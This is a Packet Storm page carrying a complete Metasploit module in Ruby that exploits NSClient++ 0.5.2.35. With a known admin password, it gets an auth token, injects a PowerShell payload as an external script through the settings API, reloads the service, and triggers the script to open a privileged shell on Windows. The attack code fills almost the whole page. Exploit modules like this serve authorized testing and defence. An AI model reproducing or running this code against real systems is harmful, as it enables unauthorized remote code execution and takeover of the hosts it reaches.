exploit the possibilities

NSClient++ 0.5.2.35 Remote Code Execution

NSClient++ 0.5.2.35 Remote Code Execution
Posted Jun 10, 2021
Authored by kindredsec, Yann Castel | Site metasploit.com

This Metasploit module allows an attacker with knowledge of the admin password of NSClient++ to start a privileged shell. For this module to work, both web interface of NSClient++ and ExternalScripts feature should be enabled.

tags | exploit, web, shell
MD5 | ee03ba18004e1e17f2300e870c462d89

NSClient++ 0.5.2.35 Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include ::Msf::Exploit::Remote::HttpClient
include ::Msf::Exploit::CmdStager
include ::Msf::Exploit::Powershell
prepend ::Msf::Exploit::Remote::AutoCheck
include ::Rex::Text

def initialize(info = {})
super(
update_info(
info,
'Name' => 'NSClient++ 0.5.2.35 - ExternalScripts Authenticated Remote Code Execution',
'Description' => %q{
This module allows an attacker with knowledge of the admin password of NSClient++
to start a privilege shell.
For this module to work, both web interface of NSClient++ and `ExternalScripts` feature
should be enabled.
},
'License' => MSF_LICENSE,
'Author' =>
[
'kindredsec', # POC on www.exploit-db.com
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
],
'References' =>
[
['EDB', '48360']
],
'Platform' => %w[windows],
'Arch' => [ARCH_X64],
'Targets' =>
[
[
'Windows',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_powershell
}
]
],
'Privileged' => true,
'DisclosureDate' => '2020-10-20',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'DefaultOptions' => { 'SSL' => true }
)
)

register_options [
Opt::RPORT(8443),
OptString.new('PASSWORD', [true, 'Password to authenticate with on NSClient web interface', nil])
]
end

def configure_payload(token, cmd, key)
print_status('Configuring Script with Specified Payload . . .')

plugin_id = rand(1..10000).to_s

node = {
'path' => '/settings/external scripts/scripts',
'key' => key
}
value = { 'string_data' => cmd }
update = { 'node' => node, 'value' => value }
payload = [
{
'plugin_id' => plugin_id,
'update' => update
}
]
json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload }

r = send_request_cgi({
'method' => 'POST',
'data' => JSON.generate(json_data),
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/settings/query.json')
})

if !(r&.body.to_s.include? 'STATUS_OK')
print_error('Error configuring payload. Hit error at: ' + endpoint)
end

print_status('Added External Script (name: ' + key + ')')
sleep(3)
print_status('Saving Configuration . . .')
header = { 'version' => '1' }
payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ]
json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload }

send_request_cgi({
'method' => 'POST',
'data' => JSON.generate(json_data),
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/settings/query.json')
})
end

def reload_config(token)
print_status('Reloading Application . . .')

send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/core/reload')
})

print_status('Waiting for Application to reload . . .')
sleep(10)
response = false
count = 0
until response
begin
sleep(2)
r = send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/')
})
if !r.body.empty?
response = true
end
rescue StandardError
count += 1
if count > 10
fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!')
end
end
end
end

def trigger_payload(token, key)
print_status('Triggering payload, should execute shortly . . .')

send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri("/query/#{key}")
})
rescue StandardError => e
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
end

def external_scripts_feature_enabled?(token)
r = send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/registry/control/module/load'),
'vars_get' => { 'name' => 'CheckExternalScripts' }
})

r&.body.to_s.include? 'STATUS_OK'
end

def get_auth_token
r = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/auth/token?password=' + datastore['PASSWORD'])
})

if r.code == 200
begin
auth_token = r.body.to_s[/"auth token": "(\w*)"/, 1]
return auth_token
rescue StandardError
:no_token_found
end
else
:wrong_password
end
rescue StandardError
:failed_to_connect
end

def check
token = get_auth_token

if token == :failed_to_connect
CheckCode::Safe("Can't access to NSClient web interface, maybe the web interface is not activated or something is wrong with the targeted host")
elsif token == :wrong_password
CheckCode::Unknown('Unable to connect to NSClient web interface because the admin password given is wrong')
elsif token == :no_token_found
CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe')
else
print_good('Got auth token: ' + token)
if external_scripts_feature_enabled?(token)
CheckCode::Vulnerable('External scripts feature enabled !')
else
CheckCode::Safe('External scripts feature disabled !')
end
end
end

def exploit
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
token = get_auth_token

if token != :failed_to_connect && token != :wrong_password && token != :no_token_found
rand_key = rand_text_alpha_lower(10)
configure_payload(token, cmd, rand_key)
reload_config(token)
token = get_auth_token # reloading the app might imply the need to create a new auth token as the former could have been deleted
trigger_payload(token, rand_key)
end
end
end
Login or Register to add favorites

File Archive:

June 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    35 Files
  • 2
    Jun 2nd
    14 Files
  • 3
    Jun 3rd
    40 Files
  • 4
    Jun 4th
    22 Files
  • 5
    Jun 5th
    1 Files
  • 6
    Jun 6th
    1 Files
  • 7
    Jun 7th
    19 Files
  • 8
    Jun 8th
    14 Files
  • 9
    Jun 9th
    39 Files
  • 10
    Jun 10th
    20 Files
  • 11
    Jun 11th
    22 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close